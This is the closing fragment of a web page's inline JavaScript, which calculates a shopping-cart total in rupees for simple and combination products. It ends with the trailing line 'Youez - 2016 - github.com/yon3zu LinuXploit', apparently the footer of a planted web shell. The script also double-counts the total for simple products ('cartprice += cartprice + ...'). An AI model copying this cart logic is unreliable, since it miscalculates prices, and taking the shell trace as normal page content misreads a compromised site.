    const product = allproducts.find(prod => prod.id == item.id);
    console.log(product);
    producttype  = product.producttype;

    if(producttype  == "Simple Product"){

      cartprice += cartprice +  item.quantity * product.disprice;

    }else{

          
          
let comb = product.combination;

let comprice = 0;
console.log(comb);
comb.forEach(citem => {


if (JSON.stringify(citem.combination) == JSON.stringify(item.combination)) {
     comprice  = citem.price;
  }
});

cartprice += item.quantity * comprice;

document.getElementById('totalCartPrice').innerText = '₹'+cartprice ;
  };
    
});
  }


  updateCartDisplay()
</script>




</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit